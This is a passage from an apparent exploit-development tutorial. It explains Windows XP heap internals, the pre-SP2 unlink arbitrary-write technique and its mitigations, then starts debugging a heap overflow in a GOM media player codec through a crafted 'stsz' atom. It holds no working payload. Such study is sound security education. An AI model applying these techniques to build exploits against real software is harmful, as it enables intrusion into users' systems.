Unused \nLookaside[1] # Unused \nLookaside[2] # Size: 16 (0x10) \u2013 0x8 (Header)  Usable Size: 8 (0x8)\nLookaside[3] # Size: 24 (0x18) - 0x8 (Header)  Usable Size: 16 (0x10)\n&lt;\u2026truncated\u2026&gt;\nLookaside[127] # Size: 1016 (0x3F8) - 0x8 (Header)  Usable Size: 1008 (0x3F0)<\/pre>\n<p>Each list head is 0x30 bytes in length and has the following structure:<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #191919; padding-left: 5px; width: 97%; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">Flink: Ptr32\nDepth: Uint2B\nSequence: Uint2B\nDepth2: Uint2B\nMaximumDepth: Uint2B\nTotalAllocates: Uint4B\nAllocateMisses\/AllocateHits: Uint4B\nTotalFrees: Uint4B\nFreeMisses\/FreeHits: Uint4B\nType: Uint4B\nTag: Uint4B\nSize: Uint4B\nAllocate: Uint4B\nFree: Uint4B<\/pre>\n<p>Please note, that the Flink, or forward link pointer, points to the first chunk in the list.&#160; If this value is NULL, this means that this list head is empty and does not reference any LAL chunks.&#160; A chunk on the LAL will have the following structure:<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #191919; padding-left: 5px; width: 97%; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">Self Size: Uint2B  -  Size of current chunk\nPrevious Size: Uint2B  -  Size of previous Chunk\nChunk Cookie: Uint1B  -  Security Cookie\nChunk Flag: Uint1B\nUnused: Uint1B\nSegment Index: Uint1B\nFlink: Ptr32  -  Pointer to next chunk in current list<\/pre>\n<p>Please note that the Flink in this case will point to the next chunk in the list.&#160; If this value is NULL, this means this is the last chunk in our list.<\/p>\n<p>This all may seem quite confusing at first.&#160; However, let\u2019s see if we can put it all together by analyzing the following scenario.&#160; Consider for a moment, that we have an active Lookaside list associated with our default heap (0x00160000), with multiple entries on LAL nodes 2 and 3 (sizes 16 and 24 bytes respectively).&#160; This would create a logical structure similar to the following:<\/p>\n<blockquote>\n<p>Please note:&#160; This information was generated using the \u201c!py mona heap -h 0x00160000 \u2013t fea\u201d command.&#160; Please see mona\u2019s help output for further information.<\/p>\n<\/blockquote>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #191919; padding-left: 5px; width: 97%; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">LAL [2] @0x0016006e8, Expected Chunksize 0x10 (16), Flink : 0x00163730\n  3 chunks:\n     ChunkPtr: 0x00163728, UserPtr: 0x00163730, Flink: 0x00164498, ChunkSize: 0x10, UserSize: 0x4, Userspace: 0x8 (Busy) \n     ChunkPtr: 0x00164490, UserPtr: 0x00164498, Flink: 0x00164228, ChunkSize: 0x10, UserSize: 0x8, Userspace: 0x8 (Busy) \n     ChunkPtr: 0x00164220, UserPtr: 0x00164228, Flink: 0x00000000, ChunkSize: 0x10, UserSize: 0x8, Userspace: 0x8 (Busy) \n\nLAL [3] @0x00160718, Expected Chunksize 0x18 (24), Flink : 0x00164238\n  2 chunks:\n     ChunkPtr: 0x00164230, UserPtr: 0x00164238, Flink: 0x00164210, ChunkSize: 0x18, UserSize: 0xc, Userspace: 0x10 (Busy) \n     ChunkPtr: 0x00164208, UserPtr: 0x00164210, Flink: 0x00000000, ChunkSize: 0x18, UserSize: 0x10, Userspace: 0x10 (Busy)<\/pre>\n<p>Now let\u2019s break it down.&#160; Here we can see that there are 3 entries associated with LAL [2].&#160; The chunk size for these entries are 0x10 bytes with 0x8 bytes of usable space (as 0x8 bytes are reserved for the chunk header).&#160; The Flink of our list head points to the first chunk in this LAL at address 0x00163730.&#160; Looking at our list, we can see our chunk as designated by the ChunkPtr with an address of 0x00163728.&#160; This chunk has a Flink of 0x00164498 which points to the next chunk in or list.&#160; Continuing along the chain, we see that our final chunk has a Flink of 0x00000000.&#160; This means that this is the final chunk in the list.<\/p>\n<p>This method of pointing to, or identifying the next chunk in the list, creates what is known as a &quot;singly-linked&quot; list.&#160; Meaning that we have 1 variable which will always point to the next chunk in the list until we\u2019ve reached the end.<\/p>\n<p>Looking at our second list head (LAL [3]), we see much of the same.&#160; There are 2 chunks associated with this list.&#160; The Flink on the list head points to a chunk at 0x00164230 and this chunk has a Flink pointing to the final chunk on the list with an address of 0x00164210.&#160; These entries are of course 0x18 bytes in size with 0x10 bytes of usable space.<\/p>\n<p>Now if the application were to request 0x10 bytes of space, the heap manager would begin looking at the Lookaside List.&#160; It would traverse the list until it landed upon LAL [3].&#160; You may be wondering however, why the heap manager wouldn\u2019t select LAL[2] to service this allocation?&#160; Well, remember that although the list size is 0x10 bytes, 0x8 bytes are reserved for the chunk header.&#160; So instead, LAL [3] would be chosen as it would be able to provide the 0x10 bytes of usable space needed by the application.&#160; Now when attempting to allocate data from the LAL, chunks are handled in a last in, first out (LIFO) order.&#160; Since freed chunks are placed at the beginning of the list, the first chunk in the list will be the one that is returned to the application when an allocation request of the same size is received.<\/p>\n<p>So back to our list.&#160; If an allocation request is received for 0x10 bytes, the application would identify LAL [3], follow the Flink of the list head which points to 0x00164498 and return this chunk.&#160; This process is called \u201cunlinking\u201d as the free chunk is unlinked from the Lookaside List and returned.&#160; This would leave the list looking like this:<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #191919; padding-left: 5px; width: 97%; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">LAL [3] @0x00160718, Expected Chunksize 0x18 (24), Flink : 0x00164210\n  1 chunk:\n     ChunkPtr: 0x00164208, UserPtr: 0x00164210, Flink: 0x00000000, ChunkSize: 0x18, UserSize: 0x10, Userspace: 0x10 (Busy)<\/pre>\n<p>So here we can see that our chunk has been removed and that the Flink of the list head has been updated to point to the next Chunk in the list.&#160; This means that the next request with a size of 0x10 bytes will be return 0x00164210 (assuming no new chunks have been freed, or \u201clinked\u201d to LAL[3]).<\/p>\n<p>Excellent.&#160; Now that we\u2019ve covered that, we can move on to the back end allocator also known as the Freelists.&#160; However, as many of these principals will also apply to the Freelists, it is very important that you understand the LAL structure before moving on.<\/p>\n<p>&#160;<\/p>\n<h5><a name=\"Freelists\"><\/a>Freelists<\/h5>\n<p>As I mentioned earlier, if a request cannot be serviced by the front end allocator, in this case the Lookaside Lists, it is then forwarded on to the backend allocator.&#160; Under Windows XP (and later versions), this is known as the Freelists.&#160; It\u2019s important to understand that allocation requests may be forwarded to the Freelists for one of two reasons.&#160; First, if the allocation request is for a size greater than 1016 bytes (the maximum size handled by the LAL), the request will be forwarded on to the Freelists.&#160; Also, if an allocation request is issued for a size not present on the LAL, meaning that no chunks are available for that size, it\u2019ll be forwarded on to the Freelists.<\/p>\n<p>As with the LAL, a pointer to the Freelists structure can be found at offset +0x178 from the heap base.&#160; Furthermore, like the LAL, each list head entry on the Freelists is organized based upon size.&#160; This size equates to the list head position * 0x8 (just like the LAL).&#160; The only exception to this rule is Freelist[0], which is responsible for managing all&#160; requests greater than 1024 bytes.&#160; Consider the following layout.<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #191919; padding-left: 5px; width: 97%; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">Freelist[0] # Manages all sizes &gt; 1024 \nFreelist[1] # Unused \nFreelist[2] # Size: 16 (0x10)\nFreelist[3] # Size: 24 (0x18)\n&lt;\u2026truncated\u2026&gt;\nFreelist[127] # Size: 1016<\/pre>\n<p>Each Freelist list head has the following structure:<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #191919; padding-left: 5px; width: 97%; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">ntdll!_LIST_ENTRY\n   +0x000 Flink            : Ptr32 _LIST_ENTRY\n   +0x004 Blink            : Ptr32 _LIST_ENTRY<\/pre>\n<p>The Flink, or forward link pointer in the list head will point to the first free chunk in the list entry.&#160; The Blink, or backward link pointer, will point to the UserPtr of the last chunk in the list.&#160; If however, the list is empty, both the Flink and Blink will point to themselves.<\/p>\n<p>Using the _LIST_ENTRY variable, we can enumerate a bit about the Freelist structure.&#160; In this example, we\u2019ll be looking at Freelist[0] belonging to the heap at 0x00160000.<\/p>\n<blockquote>\n<p>Please note, the addresses of the list heads will always have a static offset from the heap base.&#160; For instance, Freelist[0] will always exist at offset +0x178 from the heap base.<\/p>\n<\/blockquote>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #191919; padding-left: 5px; width: 97%; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">0:012&gt; dt _LIST_ENTRY 00160178\nntdll!_LIST_ENTRY\n [ 0x51b4468 - 0x51b6010 ]\n   +0x000 Flink            : 0x051b4468 _LIST_ENTRY [ 0x51b6010 - 0x160178 ]\n   +0x004 Blink            : 0x051b6010 _LIST_ENTRY [ 0x160178 - 0x51b4468 ]<\/pre>\n<p>Here we can see that Freelist[0] is not in fact, empty.&#160; If it were, both the Flink and Blink would have pointers to 0x00160178.&#160; On the contrary however, following the Flink we can see that the UserPtr of the first chunk in the list is located at 0x051B4468.&#160; We can also see that the UserPtr of the last chunk in the list is located at 0x051B6010.&#160; This however, leaves quite a bit unanswered as we don\u2019t currently know how many chunks belong to Freelist[0].&#160; Before we determine that, we first must discuss the structure of the chunks belonging to the Freelists.<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #191919; padding-left: 5px; width: 97%; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">Self Size: Uint2B  -  Size of current chunk\nPrevious Size: Uint2B  -  Size of previous Chunk\nChunk Cookie: Uint1B  -  Security Cookie\nChunk Flag: Uint1B\nUnused: Uint1B\nSegment Index: Uint1B\nFlink: Ptr32  -  Pointer to next chunk in current list\nBlink: Ptr32  - Pointer to previous chunk in current list<\/pre>\n<p>As with the Freelist list head, we can see that the Freelists chunks themselves also contain Flink and Blink pointers.&#160; In this case, the Flink in Blink pointers are used to point to the chunk prior to and after the current chunk, depending on the location in the list.&#160; In the case of the first chunk in the list, the Blink would point back to the list head.&#160; In the case of the last chunk in the list, the Flink would also point back to the list head.&#160; This creates what is known as a doubly-linked list as every element in the structure contains a pointer to identify the elements which precede and follow the current element.<\/p>\n<p>Once again, let\u2019s evaluate the following Freelist in order to better understand its structure.&#160; Again, using the example of our default heap (0x00160000):<\/p>\n<blockquote>\n<p>This information can be derived using the following !mona command:<\/p>\n<p><strong>&#160;&#160;&#160;&#160; !py mona heap -h 0x00160000 -t bea<\/strong><\/p>\n<\/blockquote>\n<p>&#160;<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #191919; padding-left: 5px; width: 97%; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">[+] FreeList[00] at 0x00160178, Expected size: &gt;1016 (&gt;0x3f8)\n     ChunkPtr: 0x0018f8c8, Header: 0x8 bytes, UserPtr: 0x0018f8d0, Flink: 0x00191e40, Blink: 0x00160178, ChunkSize: 0x1da8 (7592), Usersize: 0x1d9e (7582) \n     ChunkPtr: 0x00191e38, Header: 0x8 bytes, UserPtr: 0x00191e40, Flink: 0x00181218, Blink: 0x0018f8d0, ChunkSize: 0x21c8 (8648), Usersize: 0x21c0 (8640) \n     ChunkPtr: 0x00181210, Header: 0x8 bytes, UserPtr: 0x00181218, Flink: 0x00160178, Blink: 0x00191e40, ChunkSize: 0x9600 (38400), Usersize: 0x95f8 (38392) \n[+] FreeList[02] at 0x00160188, Expected size: 0x10 (16)\n     ChunkPtr: 0x0017cdc0, Header: 0x8 bytes, UserPtr: 0x0017cdc8, Flink: 0x00169280, Blink: 0x00160188, ChunkSize: 0x10 (16), Usersize: 0x8 (8) \n     ChunkPtr: 0x00169278, Header: 0x8 bytes, UserPtr: 0x00169280, Flink: 0x00160188, Blink: 0x0017cdc8, ChunkSize: 0x10 (16), Usersize: 0x8 (8) \n[+] FreeList[03] at 0x00160190, Expected size: 0x18 (24)\n     ChunkPtr: 0x0018dac0, Header: 0x8 bytes, UserPtr: 0x0018dac8, Flink: 0x00160190, Blink: 0x00160190, ChunkSize: 0x18 (24), Usersize: 0x10 (16)<\/pre>\n<p>Looking at Freelist[0], we can see that there are 3 chunks, each of which is greater than 1024 bytes.&#160; Looking at the first chunk, we can see that the Flink points to the UserPtr of the next chunk.&#160; The Blink however in this case, points back to the list head.&#160; The second chunk in the list again has a Flink pointing to the next chunk and a Blink pointing back to the first chunk.&#160; This behavior continues with the remaining chunks in the list with the exception of our final chunk.&#160; In order to complete our doubly-linked list, we can see that the final chunk contains a Flink which points back to the list head.<\/p>\n<p>With Freelist[2], we again see much of the same.&#160; Here we have 2 chunks, our first of which contains a Flink to the next chunk and a Blink pointing back to the list head.&#160; Our second chunk contains a Blink pointing back to the first chunk and a Flink pointing to the list head.<\/p>\n<p>Freelist[3] however, we can see that as there is only a single chunk in the list, both the Flink and Blink point back to the list head.<\/p>\n<p>Now consider the following scenario.&#160; If the application were to issue an allocation request for 8000 (0x1F40) bytes, the heap manager would first evaluate the size and determine that it is too large to be serviced by the LAL.&#160; With this, the request would then be forwarded on to the Freelists.&#160; As the requested size is greater than 1024 bytes, the heap manager would then begin traversing Freelist[0] as this is the only list which tracks chunks greater than 1024 bytes.&#160; Moving along the list, the heap manager would select the 2nd chunk in Freelist[0] as it is the first chunk in the list larger than 8000 bytes.&#160; However, we run into a slight issue as the chunk we\u2019ve selected is actually larger than the chunk size requested (8648 &gt; 8000).&#160; What ends up happening is that the heap manager will \u201cunlink\u201d the 8000 bytes requested by the application.&#160; Then, a new chunk will be created using the 648 bytes remaining (640 bytes actually as we must account for 8 bytes for the heap header).&#160; As this chunk is no longer greater than 1024 bytes, it will be moved to a Freelist[80]*** (which manages chunks 640 (0x280) bytes in length).&#160; The chunks in Freelist[0] will then have their Flink and Blink pointers updated to account for the now missing chunk.<\/p>\n<blockquote>\n<p>***Please note:&#160; When a chunk is resized, a new independent chunk is not always created.&#160; If the remaining space is adjacent to other free heap chunks, this space may then be coalesced, or combined, with the adjacent heap chunks to create a singular, larger heap chunk.&#160; Again, a significantly better and more thorough explanation can be found in <a href=\"https:\/\/www.blackhat.com\/presentations\/bh-usa-09\/MCDONALD\/BHUSA09-McDonald-WindowsHeap-PAPER.pdf\" target=\"_blank\" rel=\"noopener\">Practical Windows XP\/2003 Exploitation<\/a> by McDonald and Valasek.<\/p>\n<\/blockquote>\n<p>&#160;<\/p>\n<p>The result of this allocation request would then modify our Freelist structure as follows:<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #191919; padding-left: 5px; width: 97%; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">[+] FreeList[00] at 0x00160178, Expected size: &gt;1016 (&gt;0x3f8)\n     ChunkPtr: 0x0018f8c8, Header: 0x8 bytes, UserPtr: 0x0018f8d0, Flink: 0x00181218, Blink: 0x00160178, ChunkSize: 0x1da8 (7592), Usersize: 0x1d9e (7582) \n     ChunkPtr: 0x00181210, Header: 0x8 bytes, UserPtr: 0x00181218, Flink: 0x00160178, Blink: 0x0018f8d0, ChunkSize: 0x9600 (38400), Usersize: 0x95f8 (38392) \n[+] FreeList[02] at 0x00160188, Expected size: 0x10 (16)\n     ChunkPtr: 0x0017cdc0, Header: 0x8 bytes, UserPtr: 0x0017cdc8, Flink: 0x00169280, Blink: 0x00160188, ChunkSize: 0x10 (16), Usersize: 0x8 (8) \n     ChunkPtr: 0x00169278, Header: 0x8 bytes, UserPtr: 0x00169280, Flink: 0x00160188, Blink: 0x0017cdc8, ChunkSize: 0x10 (16), Usersize: 0x8 (8) \n[+] FreeList[03] at 0x00160190, Expected size: 0x18 (24)\n     ChunkPtr: 0x0018dac0, Header: 0x8 bytes, UserPtr: 0x0018dac8, Flink: 0x00160190, Blink: 0x00160190, ChunkSize: 0x18 (24), Usersize: 0x10 (16) \n[+] FreeList[80] at 0x001603f8, Expected size: 0x280 (640)\n     ChunkPtr: 0x00193d80, Header: 0x8 bytes, UserPtr: 0x00193d88, Flink: 0x001603f8, Blink: 0x001603f8, ChunkSize: 0x280 (640), Usersize: 0x280 (640)<\/pre>\n<p>Here we can see that Freelist[0] now contains only 2 chunks.&#160; Boh of which have had their Flink and Blink pointers updated so that they point at each other.&#160; Furthermore, we can see the addition of our chunk at Freelist[80].<\/p>\n<p>&#160;<\/p>\n<h4>Preventative Security Measures<\/h4>\n<h5>Safe-Unlinking<\/h5>\n<p>Now before we attempt to exploit this bug there\u2019s a few minor details that we must cover.&#160; Prior to Windows XP SP2, gaining an 4 byte arbitrary write was a fairly straightforward process.&#160; Although at the time, not many people were exploiting heap based bugs as the amount of documentation regarding the subject was very limited.&#160; One method available targeted the unlink process of chunks belonging to a doubly-linked list.<\/p>\n<blockquote>\n<p>Now although we\u2019ve only discussed the Freelists in this manner, I must mention that VirtualAllocd chunks are also maintained using a doubly linked list.&#160; Exploitation of these structures was first publically documented by Halvar Flake in his 2002 paper, \u201c<a href=\"http:\/\/www.blackhat.com\/presentations\/win-usa-02\/halvarflake-winsec02.ppt\" target=\"_blank\" rel=\"noopener\">Third Generation Exploitation<\/a>\u201d<\/p>\n<\/blockquote>\n<p>If an attacker were able to overwrite beyond the bounds of an allocated heap chunk into a free chunk managed by the Freelists and overwrite the Flink and Blink of the chunk\u2019s header, upon unlinking that chunk, an arbitrary, 4-byte write could be achieved.&#160; To better explain this, let\u2019s look at the following example.<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #191919; padding-left: 5px; width: 97%; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">[+] FreeList[00] at 0x00160178, Expected size: &gt;1016 (&gt;0x3f8)\n     ChunkPtr: 0x00160000, Header: 0x8 bytes, UserPtr: 0x00160008, Flink: 0x00161008, Blink: 0x00160178, ChunkSize: 0x400 (1024), Usersize: 0x410 (1025) \n     ChunkPtr: 0x00161000, Header: 0x8 bytes, UserPtr: 0x00161008, Flink: 0x00162008, Blink: 0x00160008, ChunkSize: 0x500 (1280), Usersize: 0x500 (1280) \n     ChunkPtr: 0x00162000, Header: 0x8 bytes, UserPtr: 0x00162008, Flink: 0x00160178, Blink: 0x00161008, ChunkSize: 0x600 (1536), Usersize: 0x600 (1536)\n\n# Allocated Chunk where our overflow originates:\nChunk 0x00160fe0 (Usersize 0x20)<\/pre>\n<p>Here we can see that we\u2019ve got 3 free chunks both of which are managed by Freelist[0].&#160; Our allocated chunk where our overflow begins is located at 0x00180FE0 with a size of 0x20 bytes.&#160; If we are able to write 0x10 (16) bytes beyond our buffer, we can successfully overwrite the metadata of the free chunk located at 0x00181000, including the Flink and Blink pointers.&#160; For the purpose of demonstration, let\u2019s assume that we\u2019ve overwritten the Flink and Blink pointers with \u201cAAAA\u201d (0x41414141) and \u201cBBBB\u201d (0x42424242) respectively.&#160; This would leave our Freelist structure as follows:<\/p>\n<blockquote>\n<p>Please note that this example makes the assumption that the size field of the overwritten chunk has been overwritten with it\u2019s previous value of 0x500.<\/p>\n<\/blockquote>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #191919; padding-left: 5px; width: 97%; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">[+] FreeList[00] at 0x00160178, Expected size: &gt;1016 (&gt;0x3f8)\n     ChunkPtr: 0x00160000, Header: 0x8 bytes, UserPtr: 0x00160008, Flink: 0x00161008, Blink: 0x00160178, ChunkSize: 0x400 (1024), Usersize: 0x410 (1025) \n     ChunkPtr: 0x00161000, Header: 0x8 bytes, UserPtr: 0x00161008, Flink: 0x41414141, Blink: 0x42424242, ChunkSize: 0x500 (1280), Usersize: 0x500 (1280) \n     ChunkPtr: 0x00162000, Header: 0x8 bytes, UserPtr: 0x00162008, Flink: 0x00160178, Blink: 0x00161008, ChunkSize: 0x600 (1536), Usersize: 0x600 (1536)\n\n# Allocated Chunk where our overflow originates:\nChunk 0x00160fe0 (Usersize 0x20)<\/pre>\n<p>Now, if an allocation request were issued for 0x4F8 (-0x8 bytes to account for the chunk header), the application would find our chunk located at 0x00161008 and attempt to unlink it.&#160; In doing so, it would also attempt to update the Flink and Blink pointers of the chunk which precedes and follows our overwritten chunk (respectively).&#160; When this occurs, the following 2 instructions are executed:<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #191919; padding-left: 5px; width: 97%; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">ecx=0x42424242 ; Blink\neax=0x41414141 ; Flink\n\nmov     dword ptr [ecx],eax ; Write 0x41414141 to 0x42424242\nmov     dword ptr [eax+4],ecx ; Write 0x42424242 to 0x41414145<\/pre>\n<p>Here we can see that as long as both the Flink and Blink are locations with READWRITE access, the unlink process essentially triggers an arbitrary 4-byte write.&#160; Now with the advent of XP SP2, these type of overwrites no longer exist due to what is known as safe-unlinking.&#160; Safe-unlinking is essentially a small set of instructions which validate the Flink and Blink pointers of the unlinked chunk to ensure that the doubly-linked list has been maintained.&#160; If this check fails, the chunk will not be unlinked and a call to ntdll!RtlpHeapReportCorruption will be made.&#160; This check is performed by the following 5 instructions.<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #191919; padding-left: 5px; width: 97%; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">7C910F1E                 mov     edi, [ecx]\n7C910F20                 cmp     edi, [eax+4]\n7C910F23                 jnz     loc_7C936934\n7C910F29                 cmp     edi, edx\n7C910F2B                 jnz     loc_7C936934<\/pre>\n<p>&#160;<\/p>\n<h5>Heap Cookies<\/h5>\n<p>In addition to safe-unlinking, XP SP2 also introduced heap cookies. Heap cookies are simply a single byte value placed at offset +0x4 the heap chunk header. It is only checked during the freeing of a free chunk marked as busy. If the value is corrupt a call is made to ntdll!RtlpHeapReportCorruption.<\/p>\n<p>&#160;<\/p>\n<p>&#160;<\/p>\n<h4>Application Specific Exploitation<\/h4>\n<p>As we discussed above, the advent of XP SP2 introduced several hardening measures in to the Windows heap manager which made generic exploitation of heap based overflows more difficult to say the least.&#160; In some cases, exploitation may be impossible.&#160; With this, even back in 2004 when researchers were developing new, generic techniques for bypassing protections within the XP SP2 heap manager, most concluded that although there are methods available to bypass these protections, the future of exploitation would likely rely on identifying application specific methods.&#160; We certainly can see this today with the complexity of heap management growing, the enforcement of counter measures such as ASLR and DEP, as well as the introduction of custom allocators and sandboxing techniques.&#160; With that, the focus of this article will be to identify an application specific method for exploitation.&#160; Although this article primarily focuses on the Windows XP heap manager, the technique described below can likely be applied in this application specific instance to later versions of Microsoft Windows as well.<\/p>\n<p>And with that, let\u2019s use the information we discussed above in order to reexamine our faulty function.&#160; We\u2019ll begin by enumerating all data structures which control what data is read and where it is written to.&#160; Looking at our faulting block there are 4 instructions that are of great interest to us:<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #191919; padding-left: 5px; width: 97%; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">GSFU!DllUnregisterServer+0x23685                 movzx   edx, byte ptr [esi]\nGSFU!DllUnregisterServer+0x236a3                 mov     ecx, [edi+28h]\nGSFU!DllUnregisterServer+0x236a6                 mov     ecx, [ecx+10h]\nGSFU!DllUnregisterServer+0x236a9                 mov     [ecx+eax*4], edx<\/pre>\n<p>The first instruction is where the contents of our Sample Size Table is read from poi(esi) and then stored in edx.&#160; Our final instruction is of course where our write occurs as well as the location of our initial access violation.&#160; Looking at our write instruction, we can see that the data from our Sample Size Table is being written to the location defined by poi(ecx+eax*4).&#160; If you recall from our earlier discussion of this function, eax is our incremental value.&#160; This value will be incremented by one during each iteration of our loop.&#160; The value we are really concerned with here is ecx.&#160; This register will serve as the base value for our write location.&#160; The preceding two instructions have been included as they will help us to identify where ecx derives its value.&#160; In our second instruction, we can see that ecx is assigned the value pointed at by edi+28.&#160; Then, ecx is reassigned to the value pointed to by it\u2019s own offset of +0x10.<\/p>\n<p>With that said, let\u2019s set some breakpoints and take a look at each of these locations.<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #191919; padding-left: 5px; width: 97%; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">bp GSFU!DllUnregisterServer+0x23685\nbp GSFU!DllUnregisterServer+0x236a3\nbp GSFU!DllUnregisterServer+0x236a6\nbp GSFU!DllUnregisterServer+0x236a9<\/pre>\n<blockquote>\n<p>Unless instructed to do so, ensure that GFlags is disabled.&#160; You can do this by executing the following command:<\/p>\n<p>gflags.exe \/p \/disable GOM.exe<\/p>\n<\/blockquote>\n<p>With you\u2019re breakpoints set, let\u2019s continue execution until our first bp is hit.<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #191919; padding-left: 5px; width: 97%; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">Breakpoint 0 hit\neax=00000000 ebx=000000ec ecx=03207228 edx=80000027 esi=03207134 edi=032070d0\neip=03b34965 esp=0012bdb4 ebp=03207120 iopl=0         nv up ei pl nz na pe nc\ncs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200206\nGSFU!DllUnregisterServer+0x23685:\n03b34965 0fb616          movzx   edx,byte ptr [esi]         ds:0023:03207134=00<\/pre>\n<p>Here we can see that the first byte of our Sample Size Table is being loaded into edx from the location pointed to by esi.&#160; Once again we can use the !mona extension to enumerate a great deal of information regarding this location.<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #191919; padding-left: 5px; width: 97%; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\"><strong><span style=\"color: #ffff00\">0:000&gt; !py mona info -a 03207134<\/span><\/strong>\nHold on...\n[+] Generating module info table, hang on...\n    - Processing modules\n    - Done. Let's rock 'n roll.\n[+] NtGlobalFlag: 0x00000000\n    No GFlags set\n\n[+] Information about address 0x03207134\n    ascii {PAGE_READWRITE}\n    Address is part of page 0x03200000 - 0x03209000\n    <strong><span style=\"color: #ffff00\">This address resides in the heap<\/span><\/strong>\n\nAddress 0x03207134 found in \n    _HEAP @ 03200000, Segment @ 03200680\n                      (         bytes        )                   (bytes)\n      HEAP_ENTRY      Size  PrevSize    Unused Flags    UserPtr  UserSize Remaining - state\n        <strong><span style=\"color: #ffff00\">03207118  00000108  00000050  00000008  [01]   03207120  00000100  00000000   Busy  (hex)<\/span><\/strong>\n                  00000264  00000080  00000008                   00000256  00000000   Busy  (dec)\n\n      Chunk header size: 0x8 (8)\n      <strong><span style=\"color: #ffff00\">Size initial allocation request: 0x100 (256)<\/span><\/strong>\n      Total space for data: 0x100 (256)\n      Delta between initial size and total space for data: 0x0 (0)\n      Data : 00 00 01 00 73 74 73 7a 00 00 00 00 00 00 00 00 80 00 00 27 00 00 94 b5 00 00 52 d4 00 00 52 a8 ...<\/pre>\n<p>Excellent.&#160; So here we can see that our data is being read from a heap chunk that belongs to the private heap located at 0x03200000.&#160; It\u2019s also important to note that the requested size of this heap chunk was 0x100.&#160; This is important as this is the same value used for the size field of our \u2018stsz\u2019 atom.&#160; Manipulating this field in the file will also likely change our allocation size.&#160; More on this in a bit.&#160; For now, let\u2019s continue on to our second breakpoint.<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #191919; padding-left: 5px; width: 97%; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">Breakpoint 1 hit\n...truncated...\n\n03b34983 8b4f28          mov     ecx,dword ptr [edi+28h] ds:0023:032070f8=03207228\n0:000&gt; !py mona info -a 032070f8\n...truncated...\n    <strong><span style=\"color: #ffff00\">This address resides in the heap<\/span><\/strong>\n\nAddress 0x032070f8 found in \n    _HEAP @ 03200000, Segment @ 03200680\n                      (         bytes        )                   (bytes)\n      HEAP_ENTRY      Size  PrevSize    Unused Flags    UserPtr  UserSize Remaining - state\n        <strong><span style=\"color: #ffff00\">032070c8  00000050  00000020  00000008  [01]   032070d0  00000048  00000000   Busy  (hex)<\/span><\/strong>\n                  00000080  00000032  00000008                   00000072  00000000   Busy  (dec)<\/pre>\n<p>Good.&#160; Ok, so once again we see that we\u2019re dealing with another chunk that belongs to the private heap located at 0x03200000.&#160; This chunk contains the pointer 0x03207228 which get\u2019s assigned to ecx.&#160; Let\u2019s go ahead and hit our 3rd break point and take a look at that 